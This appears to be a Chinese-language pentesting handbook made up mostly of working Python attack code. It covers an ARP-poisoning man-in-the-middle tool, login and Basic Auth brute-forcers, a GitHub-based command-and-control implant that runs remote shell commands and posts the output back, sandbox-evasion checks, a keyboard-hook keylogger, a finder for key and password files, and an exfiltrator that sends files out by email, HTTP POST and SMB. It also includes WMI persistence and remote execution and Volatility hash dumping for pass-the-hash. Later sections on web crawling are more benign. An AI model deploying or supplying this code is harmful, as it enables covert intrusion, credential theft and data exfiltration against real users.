渗透测试 + AI 技术文档

Scapy 核心操作

# pip install scapy
from scapy.all import *

# ===== 数据包构造 =====
pkt = IP(dst="192.168.1.1") / ICMP()
# 等价于: Ether() / IP() / ICMP()

# 查看数据包结构
pkt.show()
# 发送并接收单个响应
resp = sr1(pkt, timeout=1)
# 发送并接收多个响应
ans, unans = sr(IP(dst="192.168.1.1")/ICMP(), timeout=2)

# ===== SYN 隐蔽扫描 (Stealth Scan) =====
def syn_scan(target, ports):
    """半开放扫描 — 不完成三次握手"""
    ans, unans = sr(
        IP(dst=target) / TCP(dport=ports, flags="S"),
        timeout=2, verbose=0
    )
    for sent, received in ans:
        if received.haslayer(TCP):
            flags = received.getlayer(TCP).flags
            if flags & 0x12:  # SYN-ACK
                print(f'[OPEN] {received[TCP].sport}')
                send(IP(dst=target) / TCP(
                    dport=received[TCP].sport, flags="R"
                ), verbose=0)
            elif flags & 0x14:  # RST-ACK
                print(f'[CLOSED] {received[TCP].sport}')

ARP 投毒 — 中间人攻击

from scapy.all import *
import time
import sys

class ARPPoisoner:
    def __init__(self, victim_ip, gateway_ip, interface='eth0'):
        self.victim_ip = victim_ip
        self.gateway_ip = gateway_ip
        self.interface = interface

    def get_mac(self, ip):
        """通过ARP请求获取MAC地址"""
        ans, _ = srp(
            Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
            timeout=2, iface=self.interface, verbose=False
        )
        if ans:
            return ans[0][1].src
        return None

    def restore(self):
        """恢复ARP表 — 发送正确的MAC映射"""
        victim_mac = self.get_mac(self.victim_ip)
        gateway_mac = self.get_mac(self.gateway_ip)
        send(ARP(
            op=2,  # is-at (响应)
            psrc=self.gateway_ip,
            pdst=self.victim_ip,
            hwdst=victim_mac,
            hwsrc=gateway_mac
        ), count=5, verbose=False)
        print('[*] ARP tables restored.')

    def poison(self):
        """持续投毒 — 告诉受害者我是网关，告诉网关我是受害者"""
        victim_mac = self.get_mac(self.victim_ip)
        gateway_mac = self.get_mac(self.gateway_ip)
        print(f'[*] Victim MAC: {victim_mac}, Gateway MAC: {gateway_mac}')

        try:
            while True:
                # 欺骗受害者: "网关的IP → 我的MAC"
                send(ARP(
                    op=2, psrc=self.gateway_ip, pdst=self.victim_ip,
                    hwdst=victim_mac
                ), verbose=False)
                # 欺骗网关: "受害者的IP → 我的MAC"
                send(ARP(
                    op=2, psrc=self.victim_ip, pdst=self.gateway_ip,
                    hwdst=gateway_mac
                ), verbose=False)
                time.sleep(2)
        except KeyboardInterrupt:
            self.restore()

# 启用IP转发后执行
# echo 1 > /proc/sys/net/ipv4/ip_forward
# poisoner = ARPPoisoner('192.168.1.100', '192.168.1.1')
# poisoner.poison()

Web 目录暴力破解

import requests
import threading
import queue
import sys

THREADS = 10
TARGET_URL = "http://testphp.vulnweb.com"

class DirectoryBuster:
    def __init__(self, target_url, wordlist, threads=THREADS):
        self.target = target_url.rstrip('/')
        self.queue = queue.Queue()
        self.found = []
        self.threads = threads

        for word in open(wordlist, 'r'):
            self.queue.put(word.strip())

    def buster(self):
        while not self.queue.empty():
            url = f"{self.target}/{self.queue.get()}"
            try:
                resp = requests.get(url, timeout=3, allow_redirects=False)
                if resp.status_code != 404:
                    self.found.append((url, resp.status_code, len(resp.content)))
                    print(f'[{resp.status_code}] {url}')
                self.queue.task_done()
            except requests.RequestException:
                self.queue.task_done()

    def run(self):
        for _ in range(self.threads):
            t = threading.Thread(target=self.buster)
            t.daemon = True
            t.start()
        self.queue.join()
        return self.found

HTML 登录表单暴力破解

import requests
from bs4 import BeautifulSoup

def brute_login(login_url, username, wordlist_path):
    """对登录表单进行密码暴力破解"""
    session = requests.Session()

    # 获取登录页面及CSRF Token
    resp = session.get(login_url)
    soup = BeautifulSoup(resp.text, 'html.parser')

    # 收集表单信息
    form = soup.find('form')
    action = form.get('action', '')
    form_url = requests.compat.urljoin(login_url, action)
    inputs = form.find_all('input')
    form_data = {}
    for inp in inputs:
        name = inp.get('name', '')
        form_data[name] = inp.get('value', '')

    with open(wordlist_path, 'r') as f:
        for password in f:
            pw = password.strip()
            form_data['username'] = username
            form_data['password'] = pw

            resp = session.post(form_url, data=form_data)

            # 检测登录成功标志
            if 'logout' in resp.text.lower() or \
               'welcome' in resp.text.lower() or \
               resp.url != login_url:
                print(f'[+] Found password: {pw}')
                return pw
            else:
                print(f'[-] Failed: {pw}')
    return None

HTTP Basic Auth 破解

import requests
from requests.auth import HTTPBasicAuth
import base64

def brute_basic_auth(url, username, wordlist_path):
    """破解 HTTP Basic Authentication"""
    with open(wordlist_path, 'r') as f:
        for password in f:
            pw = password.strip()
            resp = requests.get(url, auth=HTTPBasicAuth(username, pw))
            if resp.status_code == 200:
                print(f'[+] Found: {username}:{pw}')
                # 构造 Authorization 头 (Base64)
                auth_str = base64.b64encode(
                    f'{username}:{pw}'.encode()
                ).decode()
                print(f'    Header: Basic {auth_str}')
                return pw
    return None

Burp 扩展框架概述

Burp Suite 使用 Jython (Java中的Python实现) 来运行Python扩展。核心接口：

字典生成器扩展 (BHP Wordlist)

# bhp_wordlist.py — 从HTTP流量自动生成暴破字典
from burp import IBurpExtender
from burp import IContextMenuFactory
from javax.swing import JMenuItem
from java.util import List, ArrayList
import re

class BurpExtender(IBurpExtender, IContextMenuFactory):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("BHP Wordlist Generator")
        callbacks.registerContextMenuFactory(self)
        self.words = set(["password"])  # 初始种子词
        print("[+] BHP Wordlist Generator loaded")
        return

    def createMenuItems(self, invocation):
        """右键菜单 — 添加生成字典选项"""
        menu = ArrayList()
        menu.add(JMenuItem(
            "Generate Wordlist",
            actionPerformed=lambda x: self.generate(invocation)
        ))
        return menu

    def generate(self, invocation):
        """提取选中请求/响应中的所有词"""
        responses = invocation.getSelectedMessages()
        for msg in responses:
            resp_str = self._helpers.bytesToString(msg.getResponse())
            # 正则提取所有 "单词" (字母数字组合)
            words = re.findall(r'[a-zA-Z0-9_\-\.]{3,}', resp_str)
            self.words.update(w.lower() for w in words)

        print(f'[*] Wordlist size: {len(self.words)}')
        # 可选: 保存到文件
        output = self._callbacks.getOutput()
        output.write(f'Total unique words: {len(self.words)}\n')

HTML标签剥离 + 注释提取辅助类

from html.parser import HTMLParser
from io import StringIO

class TagStripper(HTMLParser):
    """剥离HTML标签，提取纯文本 + 注释"""
    def __init__(self):
        super().__init__()
        self.text = StringIO()
        self.comments = []

    def handle_data(self, data):
        self.text.write(data)

    def handle_comment(self, data):
        """HTML注释可能包含: 调试信息、路径、开发者备注"""
        self.comments.append(data)
        self.text.write(data)  # 注释也加入字典

    def get_text(self):
        return self.text.getvalue()

# 使用
# stripper = TagStripper()
# stripper.feed(response_html)
# page_text = stripper.get_text()
# comments = stripper.comments

GitHub C2 架构设计

"""
GitHub C2 通信流程:
┌──────────┐    Issue Comment    ┌──────────┐
│  Implant │ ◄────────────────► │  GitHub   │
│ (目标机)  │   API / 轮询       │   Repo    │
└──────────┘                     └────┬─────┘
                                       │
                                  ┌────┴─────┐
                                  │  Operator │
                                  │  (控制端)  │
                                  └──────────┘

优势:
- 流量加密 (TLS), 看起来是正常GitHub API调用
- 无需开放端口, 无需公网IP
- 通过私人仓库 + Token控制访问
- 天然支持多Agent管理 (Issue编号区分)
"""
import requests
import base64
import json
import time

GITHUB_API = 'https://api.github.com'
REPO = 'your-account/private-repo'
TOKEN = 'ghp_xxxxxxxxxxxxxxxxxxxx'  # Personal Access Token
HEADERS = {
    'Authorization': f'token {TOKEN}',
    'Accept': 'application/vnd.github.v3+json'
}

Implant 端 — 任务轮询与结果回传

class GitHubImplant:
    def __init__(self, task_issue=1, result_issue=2):
        self.task_issue = task_issue       # 读取任务用的Issue
        self.result_issue = result_issue   # 回传结果用的Issue
        self.last_comment_id = 0

    def get_tasks(self):
        """轮询新任务 — 获取最新评论"""
        url = f'{GITHUB_API}/repos/{REPO}/issues/{self.task_issue}/comments'
        resp = requests.get(url, headers=HEADERS)
        comments = resp.json()
        tasks = []
        for c in comments:
            if c['id'] > self.last_comment_id:
                tasks.append(base64.b64decode(c['body']).decode())
                self.last_comment_id = c['id']
        return tasks

    def send_result(self, result):
        """将执行结果回传 (Base64编码)"""
        url = f'{GITHUB_API}/repos/{REPO}/issues/{self.result_issue}/comments'
        encoded = base64.b64encode(result.encode()).decode()
        data = json.dumps({'body': encoded})
        requests.post(url, headers=HEADERS, data=data)

    def run(self):
        """主循环 — 轮询、执行、回传"""
        import subprocess
        while True:
            tasks = self.get_tasks()
            for cmd in tasks:
                try:
                    output = subprocess.run(
                        cmd, shell=True, capture_output=True
                    )
                    self.send_result(output.stdout.decode())
                except Exception as e:
                    self.send_result(f'Error: {e}')
            time.sleep(30)  # 每30秒轮询一次

Operator 端 — 任务下发

class GitHubOperator:
    def __init__(self, task_issue=1, result_issue=2):
        self.task_issue = task_issue
        self.result_issue = result_issue

    def send_command(self, command):
        """向指定Issue发送Base64编码的命令"""
        url = f'{GITHUB_API}/repos/{REPO}/issues/{self.task_issue}/comments'
        encoded = base64.b64encode(command.encode()).decode()
        data = json.dumps({'body': encoded})
        resp = requests.post(url, headers=HEADERS, data=data)
        if resp.status_code == 201:
            print(f'[+] Command sent: {command}')

    def get_results(self):
        """获取所有执行结果"""
        url = f'{GITHUB_API}/repos/{REPO}/issues/{self.result_issue}/comments'
        resp = requests.get(url, headers=HEADERS)
        for c in resp.json():
            decoded = base64.b64decode(c['body']).decode()
            print(f'[Result] {decoded}')

# op = GitHubOperator()
# op.send_command('whoami /all')
# op.send_command('ipconfig /all')

沙箱/虚拟机检测

import ctypes
import time
import random
from ctypes import wintypes

class SandBoxDetector:
    """多层沙箱/虚拟机检测"""

    @staticmethod
    def check_sleep_patched():
        """检查Sleep函数是否被加速 (沙箱常用加速技术)"""
        start = time.time()
        # 使用 kernel32.Sleep 而非 time.sleep (防止被Hook)
        ctypes.windll.kernel32.Sleep(1000)
        elapsed = time.time() - start
        # 如果1秒的sleep在0.9秒内完成，可能是沙箱加速
        return elapsed < 0.9

    @staticmethod
    def check_disk_size(min_gb=60):
        """检查硬盘大小 — 真实机器通常>60GB"""
        free_bytes = ctypes.c_ulonglong(0)
        total_bytes = ctypes.c_ulonglong(0)
        ctypes.windll.kernel32.GetDiskFreeSpaceExW(
            'C:\\', ctypes.byref(free_bytes),
            ctypes.byref(total_bytes), None
        )
        return total_bytes.value / (1024**3) < min_gb

    @staticmethod
    def check_user_interaction(timeout=300, min_clicks=5, min_keys=10):
        """检测真实用户交互 — 键盘+鼠标事件"""
        # 记录鼠标点击次数和键盘敲击次数
        click_count = 0
        key_count = 0
        last_input = time.time()

        while time.time() - last_input < timeout:
            # GetAsyncKeyState 检查各键状态
            for vk_code in range(0x01, 0xFF):
                if ctypes.windll.user32.GetAsyncKeyState(vk_code) & 0x8000:
                    if 0x01 <= vk_code <= 0x06:  # 鼠标按键
                        click_count += 1
                    else:
                        key_count += 1
                    last_input = time.time()
            time.sleep(0.1)

            if click_count >= min_clicks and key_count >= min_keys:
                return False  # 有真实用户活动，不是沙箱
        return True  # 超时无交互，疑似沙箱

    def is_sandbox(self):
        checks = [
            self.check_sleep_patched(),
            self.check_disk_size(),
        ]
        return any(checks)

键盘记录器 (Keylogger)

from ctypes import wintypes, byref, c_char_p, c_int
import ctypes
import win32con
import time

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

class KeyLogger:
    def __init__(self):
        self.hooked = None

    def install_hook(self):
        """安装全局键盘钩子"""
        # WH_KEYBOARD_LL = 13 (低级键盘钩子)
        self.hooked = user32.SetWindowsHookExW(
            13,  # WH_KEYBOARD_LL
            LowLevelKeyboardProc,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False

        # Windows消息循环 (必须在本线程运行)
        msg = wintypes.MSG()
        while user32.GetMessageW(byref(msg), None, 0, 0) != 0:
            user32.TranslateMessage(byref(msg))
            user32.DispatchMessageW(byref(msg))
        return True

    def uninstall_hook(self):
        if self.hooked:
            user32.UnhookWindowsHookEx(self.hooked)
            self.hooked = None

# 键盘钩子回调 (C类型定义)
HOOKPROC = ctypes.WINFUNCTYPE(c_int, c_int, wintypes.WPARAM, wintypes.LPARAM)

@HOOKPROC
def LowLevelKeyboardProc(nCode, wParam, lParam):
    if nCode == win32con.HC_ACTION:
        vk_code = ctypes.cast(lParam, ctypes.POINTER(wintypes.DWORD))[0]
        # 记录按键 (将虚拟键码转换为可读字符)
        # ... 完整实现略
    return user32.CallNextHookEx(None, nCode, wParam, lParam)

敏感文件搜索器

import os
import fnmatch
import time

FILE_PATTERNS = [
    '*.doc', '*.docx', '*.xls', '*.xlsx', '*.pdf',
    '*.key', '*.ppk', '*.pem', '*.ovpn',
    '*password*', '*credentials*', '*secret*',
    '*.kdbx', '*.rdp', '*.sql'
]

def search_sensitive_files(base_path, patterns=FILE_PATTERNS):
    """递归搜索敏感文件"""
    found = []
    for root, dirs, files in os.walk(base_path):
        for pattern in patterns:
            for filename in fnmatch.filter(files, pattern):
                full_path = os.path.join(root, filename)
                stat = os.stat(full_path)
                found.append({
                    'path': full_path,
                    'size': stat.st_size,
                    'modified': time.ctime(stat.st_mtime)
                })
    return found

# 文件分级 — 按扩展名标记敏感级别
SEVERITY_MAP = {
    ('.pem', '.key', '.ppk', '.kdbx'): 'CRITICAL',
    ('.doc', '.docx', '.xls', '.xlsx'): 'HIGH',
    ('.pdf', '.sql', '.ovpn'): 'MEDIUM',
    ('.rdp', '.log'): 'LOW',
}

def classify_file(filename):
    for exts, level in SEVERITY_MAP.items():
        if filename.lower().endswith(exts):
            return level
    return 'UNKNOWN'

多通道数据渗出

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import requests
import base64

class DataExfiltrator:
    """多渠道数据渗出器"""

    # 方法1: SMTP 邮件渗出
    @staticmethod
    def exfil_email(filepath, smtp_server, sender, recipient,
                    username=None, password=None):
        msg = MIMEMultipart()
        msg['From'] = sender
        msg['To'] = recipient
        msg['Subject'] = f'Report - {os.path.basename(filepath)}'

        # 附件
        with open(filepath, 'rb') as f:
            attachment = MIMEBase('application', 'octet-stream')
            attachment.set_payload(f.read())
            encoders.encode_base64(attachment)
            attachment.add_header(
                'Content-Disposition',
                f'attachment; filename={os.path.basename(filepath)}'
            )
            msg.attach(attachment)

        server = smtplib.SMTP(smtp_server, 587)
        server.starttls()
        if username and password:
            server.login(username, password)
        server.sendmail(sender, recipient, msg.as_string())
        server.quit()

    # 方法2: HTTP POST 渗出
    @staticmethod
    def exfil_http(filepath, upload_url):
        with open(filepath, 'rb') as f:
            data = base64.b64encode(f.read()).decode()
        resp = requests.post(
            upload_url,
            json={'filename': os.path.basename(filepath), 'data': data}
        )
        return resp.status_code == 200

    # 方法3: 文件共享渗出 (SMB/WebDAV)
    @staticmethod
    def exfil_smb(filepath, share_path):
        """复制到网络共享"""
        import shutil
        dest = os.path.join(
            share_path, os.path.basename(filepath)
        )
        shutil.copy2(filepath, dest)
        return os.path.exists(dest)

进程监控 — 发现高权限进程

import win32con
import win32api
import win32security
import wmi

def monitor_processes():
    """监控系统进程 — 发现高权限进程用于注入"""
    c = wmi.WMI()
    process_watcher = c.Win32_Process.watch_for('creation')

    while True:
        new_process = process_watcher()
        proc_owner = get_process_owner(new_process.ProcessId)

        print(f"""
        Process: {new_process.Name}
        PID: {new_process.ProcessId}
        Owner: {proc_owner['Domain']}\\{proc_owner['User']}
        Command: {new_process.CommandLine}
        Parent PID: {new_process.ParentProcessId}
        """)

        # 标记SYSTEM权限进程
        if proc_owner['User'] == 'SYSTEM':
            print(f'[!] SYSTEM process detected: {new_process.Name}')

def get_process_owner(pid):
    """获取进程所有者"""
    h_process = win32api.OpenProcess(
        win32con.PROCESS_QUERY_INFORMATION, False, pid
    )
    token = win32security.OpenProcessToken(
        h_process, win32con.TOKEN_QUERY
    )
    sid = win32security.GetTokenInformation(
        token, win32security.TokenUser
    )[0]
    name, domain, _ = win32security.LookupAccountSid(None, sid)
    return {'User': name, 'Domain': domain}

WMI 持久化与提权

import wmi

c = wmi.WMI()

# 通过WMI创建持久化进程
def wmi_persistence(command):
    """创建WMI事件订阅 — 系统启动时执行"""
    # 创建 __EventFilter
    filter_params = {
        'Name': 'BHP_Filter',
        'QueryLanguage': 'WQL',
        'Query': "SELECT * FROM __InstanceCreationEvent WITHIN 5 "
                 "WHERE TargetInstance ISA 'Win32_LogonSession'"
    }
    # 创建 __EventConsumer (执行命令)
    consumer_params = {
        'Name': 'BHP_Consumer',
        'CommandLineTemplate': command
    }
    # 绑定 Filter + Consumer
    # ... (需要管理员权限)

# WMI 远程执行 (需要目标管理员凭证)
def wmi_remote_exec(target_ip, username, password, command):
    conn = wmi.WMI(
        computer=target_ip,
        user=username,
        password=password
    )
    process_startup = conn.Win32_ProcessStartup.new()
    process_startup.ShowWindow = 0  # SW_HIDE
    process_id, result = conn.Win32_Process.Create(
        CommandLine=command,
        ProcessStartupInformation=process_startup
    )
    if result == 0:
        print(f'[+] Process created: PID {process_id}')
    return process_id

权限提升方法汇总

Volatility 内存取证框架

# 安装 (独立虚拟环境)
# git clone https://github.com/volatilityfoundation/volatility3.git
# pip install -r requirements.txt
# pip install pycryptodome

# 基本用法
# python vol.py -f memory.vmem windows.info
# python vol.py -f memory.vmem windows.pslist
# python vol.py -f memory.vmem windows.pstree
# python vol.py -f memory.vmem windows.cmdline

# 进入 volshell 交互式 Python shell
# python vol.py -w -f memory.vmem volshell

内存快照分析 — 基本信息与用户行为侧写

# ===== 系统基本信息 =====
# python vol.py -f memory.vmem windows.info
# 输出: OS, Kernel, CPU, 内存层, 系统时间

# ===== 注册表枚举 =====
# 列出所有已安装服务
# python vol.py -f memory.vmem registry.printkey \\
#   --key "ControlSet001\\Services"

# ===== 进程命令行参数 (重建用户行为) =====
# python vol.py -f memory.vmem windows.cmdline
# 输出: PID, Process Name, CommandLine args
# 可发现: 用户手动启动的进程 (cmd.exe, notepad.exe, nc64.exe)

# ===== 进程树 (父子关系) =====
# python vol.py -f memory.vmem windows.pstree
# 输出: 树形结构的进程父子关系
# 示例: userinit.exe → explorer.exe → cmd.exe → notepad.exe

# ===== 密码哈希提取 =====
# python vol.py -f memory.vmem windows.hashdump
# 输出: 用户名, LM Hash, NT Hash
# 用途: 离线暴力破解 / Pass-the-Hash 攻击

# ===== 网络连接枚举 =====
# python vol.py -f memory.vmem windows.netscan
# 输出: Proto, LocalAddr, LocalPort, ForeignAddr, State, Owner
# 关注: LISTENING 状态的未知进程 (如 nc64.exe:4444)

# ===== 恶意代码检测 =====
# python vol.py -f memory.vmem windows.malfind
# 输出: 具有 RWX (读+写+执行) 权限的内存区域
# 潜在注入点: 可被 Shellcode 覆写的可执行内存段

自定义 Volatility 插件 — ASLR 检查器

# plugins/windows/aslrcheck.py
from volatility3.framework import interfaces, renderers
from volatility3.framework.configuration import requirements
from volatility3.plugins.windows import pslist
import pefile

def check_aslr(pe):
    """检查 PE 文件是否受 ASLR 保护"""
    pe.parse_data_directories([
        pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']
    ])
    dynamic = bool(pe.OPTIONAL_HEADER.DllCharacteristics & 0x0040)
    reloc_stripped = False
    if dynamic:
        for section in pe.sections:
            if section.Name.rstrip(b'\x00') == b'.reloc':
                reloc_stripped = section.SizeOfRawData == 0
    return not dynamic or reloc_stripped

class AslrCheck(interfaces.plugins.PluginInterface):
    """检查进程是否受 ASLR 地址空间随机化保护"""

    @classmethod
    def get_requirements(cls):
        return [
            requirements.TranslationLayerRequirement(name='primary'),
            requirements.SymbolTableRequirement(name='nt_symbols'),
            requirements.PluginRequirement(name='pslist', plugin=pslist.PsList),
            requirements.ListRequirement(
                name='pid', element_type=int, optional=True,
                description='只检查指定 PID 的进程'
            ),
        ]

    def _generator(self, procs):
        pe_table_name = self.config['nt_symbols'] + '_PEB'
        for proc in procs:
            proc_id = proc.UniqueProcessId
            proc_name = proc.ImageFileName.cast(
                'string', max_length=proc.ImageFileName.vol.count
            )
            proc_layer_name = proc.add_process_layer()
            peb = proc.Peb

            try:
                proc_layer = self.context.layers[proc_layer_name]
                pe_data = io.BytesIO()
                pe_bytes = proc_layer.read(peb.ImageBaseAddress, 0x400)
                pe_data.write(pe_bytes)
                pe_data.seek(0)
                pe = pefile.PE(data=pe_data.read())
                aslr = not check_aslr(pe)  # True = 受保护
            except Exception:
                aslr = False

            yield (0, (
                format(proc_id, 'd'),
                str(proc_name or ''),
                renderers.format_hints.Hex(peb.ImageBaseAddress),
                'Protected' if aslr else 'VULNERABLE'
            ))

    def run(self):
        procs = pslist.PsList.list_processes(
            self.context, self.config_path, self.config['primary'],
            self.config['nt_symbols'],
            filter_func=lambda p: True
        )
        return renderers.TreeGrid([
            ('PID', str), ('Name', str), ('BaseAddr', str), ('ASLR', str)
        ], self._generator(procs))

# 调用自定义插件
# python vol.py -p ./plugins/windows \\
#   -f memory.vmem windows.aslrcheck.AslrCheck

Volatility 常用插件速查

网络爬虫在渗透测试中的价值

网络爬虫是渗透测试信息收集阶段的核心技术之一。通过自动化爬取目标网站，可以：

1. 资产发现 — 自动发现隐藏的目录、文件、API端点、子域名
2. 信息提取 — 批量抓取员工邮箱、组织架构、技术栈指纹、CMS版本
3. 攻击面测绘 — 构建目标完整URL拓扑图，识别所有可能的攻击入口
4. 漏洞探测 — 爬取页面中的注释、错误信息、调试端点等敏感泄露
5. 社工数据收集 — 自动化收集LinkedIn、GitHub等平台的目标人员信息

爬虫基础架构

import urllib.request
import urllib.parse
import urllib.robotparser
from urllib.error import URLError, HTTPError

# 基础下载器
def download(url, user_agent='PentestBot', num_retries=3):
    print(f'Downloading: {url}')
    headers = {'User-Agent': user_agent}
    request = urllib.request.Request(url, headers=headers)
    try:
        html = urllib.request.urlopen(request).read()
    except (URLError, HTTPError) as e:
        print(f'Download error: {e.reason}')
        html = None
        if num_retries > 0:
            if hasattr(e, 'code') and 500 <= e.code < 600:
                return download(url, user_agent, num_retries - 1)
    return html.decode('utf-8') if html else None

# robots.txt 解析 (合规检查)
def check_robots(url, user_agent='PentestBot'):
    rp = urllib.robotparser.RobotFileParser()
    rp.set_url(urllib.parse.urljoin(url, '/robots.txt'))
    rp.read()
    return rp.can_fetch(user_agent, url)

方法一：正则表达式 — 快速轻量

import re

# 提取页面中所有邮箱地址
def extract_emails(html):
    pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
    return re.findall(pattern, html)

# 提取页面中所有链接
def extract_links(html, base_url):
    pattern = r']+?href="([^"]*?)"'
    links = re.findall(pattern, html)
    return [urllib.parse.urljoin(base_url, link) for link in links]

# 提取JavaScript文件路径
def extract_js_files(html, base_url):
    pattern = r']+?src="([^"]*?)"'
    return re.findall(pattern, html)

# 提取HTML注释 (可能包含敏感信息)
def extract_comments(html):
    pattern = r'<!--(.*?)-->'
    return re.findall(pattern, html, re.DOTALL)

# 提取隐藏字段 (CSRF Token等)
def extract_hidden_inputs(html):
    pattern = r']*?type=["\']hidden["\'][^>]*?name=["\']([^"\']*)["\']'
    return re.findall(pattern, html)

方法二：BeautifulSoup — 容错性强

from bs4 import BeautifulSoup

# 解析HTML，自动修复破损标签
def soup_parse(html):
    return BeautifulSoup(html, 'html.parser')

# 提取所有表单 (识别攻击面)
def extract_forms(soup):
    forms = []
    for form in soup.find_all('form'):
        form_info = {
            'action': form.get('action', ''),
            'method': form.get('method', 'GET').upper(),
            'inputs': []
        }
        for inp in form.find_all(['input', 'textarea', 'select']):
            form_info['inputs'].append({
                'name': inp.get('name', ''),
                'type': inp.get('type', 'text'),
                'value': inp.get('value', '')
            })
        forms.append(form_info)
    return forms

# 提取Meta标签信息 (技术栈指纹)
def extract_meta(soup):
    metas = {}
    for meta in soup.find_all('meta'):
        name = meta.get('name', meta.get('property', ''))
        content = meta.get('content', '')
        if name and content:
            metas[name] = content
    return metas

# 提取所有文本内容 (关键词分析)
def extract_text(soup):
    for script in soup(['script', 'style']):
        script.decompose()
    return soup.get_text(separator=' ', strip=True)

方法三：Lxml — 高性能XPath

from lxml import html

# lxml 解析 (比BeautifulSoup快5-10倍)
def lxml_parse(content):
    return html.fromstring(content)

# XPath提取 — 精确定位
tree = lxml_parse(content)

# 提取所有链接文本和URL
links = tree.xpath('//a/@href')

# 提取特定class的元素
results = tree.xpath('//div[@class="content"]//text()')

# 提取title属性
titles = tree.xpath('//img/@title')

# CSS选择器支持
from lxml.cssselect import CSSSelector
sel = CSSSelector('div.article > p.summary')
results = sel(tree)

# 三方法性能对比 (100KB HTML页面)
# 正则:    0.003s  (最快，但脆弱)
# lxml:     0.015s  (快速，支持XPath/CSS)
# BS4:      0.120s  (最慢，但容错最好)

磁盘缓存实现

import os
import json
import hashlib
import pickle
from datetime import datetime, timedelta

class DiskCache:
    def __init__(self, cache_dir='.webcache'):
        self.cache_dir = cache_dir
        os.makedirs(cache_dir, exist_ok=True)

    def url_to_path(self, url):
        """将URL映射为文件路径"""
        url_hash = hashlib.sha256(url.encode()).hexdigest()
        return os.path.join(self.cache_dir, url_hash)

    def has(self, url, max_age=None):
        """检查缓存是否存在且未过期"""
        path = self.url_to_path(url)
        if not os.path.exists(path):
            return False
        if max_age:
            mtime = datetime.fromtimestamp(os.path.getmtime(path))
            if datetime.now() - mtime > max_age:
                return False
        return True

    def get(self, url):
        """从缓存中读取数据"""
        path = self.url_to_path(url)
        if os.path.exists(path):
            with open(path, 'rb') as f:
                return pickle.load(f)
        return None

    def set(self, url, data):
        """将数据存入缓存"""
        path = self.url_to_path(url)
        with open(path, 'wb') as f:
            pickle.dump(data, f)

# 带缓存的重试下载器
cache = DiskCache()

def download_with_cache(url, max_age=timedelta(hours=24)):
    if cache.has(url, max_age):
        print(f'[Cache Hit] {url}')
        return cache.get(url)

    print(f'[Download] {url}')
    result = download(url)
    if result:
        cache.set(url, result)
    return result

多线程爬取 (适合IO密集型)

import threading
import queue
import time

class ThreadedCrawler:
    def __init__(self, max_threads=10):
        self.queue = queue.Queue()
        self.results = {}
        self.max_threads = max_threads

    def worker(self):
        while True:
            url = self.queue.get()
            if url is None:
                break
            try:
                self.results[url] = download(url)
            except Exception as e:
                self.results[url] = f'Error: {e}'
            finally:
                self.queue.task_done()

    def crawl(self, urls):
        threads = []
        for _ in range(self.max_threads):
            t = threading.Thread(target=self.worker)
            t.start()
            threads.append(t)

        for url in urls:
            self.queue.put(url)

        self.queue.join()

        for _ in range(self.max_threads):
            self.queue.put(None)
        for t in threads:
            t.join()

        return self.results

# 使用
crawler = ThreadedCrawler(max_threads=20)
results = crawler.crawl(target_urls)

异步协程爬取 (Python 3.7+, 最高性能)

import asyncio
import aiohttp

class AsyncCrawler:
    def __init__(self, concurrency=50, timeout=30):
        self.concurrency = concurrency
        self.timeout = timeout
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (compatible; PentestBot/1.0)'
        }

    async def fetch(self, session, url):
        try:
            async with session.get(url, timeout=self.timeout) as resp:
                return url, resp.status, await resp.text()
        except Exception as e:
            return url, None, str(e)

    async def crawl(self, urls):
        semaphore = asyncio.Semaphore(self.concurrency)
        connector = aiohttp.TCPConnector(limit=self.concurrency)

        async with aiohttp.ClientSession(
            headers=self.headers,
            connector=connector
        ) as session:

            async def bounded_fetch(url):
                async with semaphore:
                    return await self.fetch(session, url)

            tasks = [bounded_fetch(url) for url in urls]
            return await asyncio.gather(*tasks)

# 运行
# results = asyncio.run(AsyncCrawler().crawl(urls))

# 性能对比 (100个URL):
# 单线程:   ~50s
# 10线程:   ~6s
# asyncio:   ~2s (50并发)

端口扫描 + 爬虫组合

import socket

# 组合端口扫描与Web服务发现
def discover_web_services(ip_range, ports=[80,443,8080,8443,3000,5000]):
    """先通过端口扫描发现Web服务，再进行爬取"""
    web_targets = []

    for ip in ip_range:
        for port in ports:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            if sock.connect_ex((ip, port)) == 0:
                proto = 'https' if port in [443, 8443] else 'http'
                web_targets.append(f'{proto}://{ip}:{port}')
            sock.close()

    # 对发现的Web服务并发爬取
    import concurrent.futures
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
        futures = {executor.submit(download, url): url for url in web_targets}
        results = {}
        for future in concurrent.futures.as_completed(futures):
            url = futures[future]
            results[url] = future.result()

    return results

Selenium 自动化浏览器

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options

# 无头模式配置
options = Options()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--user-agent=Mozilla/5.0 (PentestBot)')
options.add_argument('--ignore-certificate-errors')  # 渗透测试用

driver = webdriver.Chrome(options=options)

def scrape_dynamic(url):
    driver.get(url)

    # 等待页面加载完成
    WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.TAG_NAME, 'body'))
    )

    # 等待AJAX请求完成
    import time
    time.sleep(2)

    # 获取渲染后的HTML
    rendered_html = driver.page_source

    # 截图取证
    driver.save_screenshot('page_screenshot.png')

    # 执行JavaScript获取动态内容
    js_code = driver.execute_script('''
        return {
            cookies: document.cookie,
            localStorage: JSON.stringify(window.localStorage),
            sessionStorage: JSON.stringify(window.sessionStorage),
            title: document.title
        }
    ''')

    return rendered_html

# 批量抓取后关闭
# driver.quit()

Playwright 现代方案 (推荐)

# pip install playwright && playwright install
from playwright.sync_api import sync_playwright

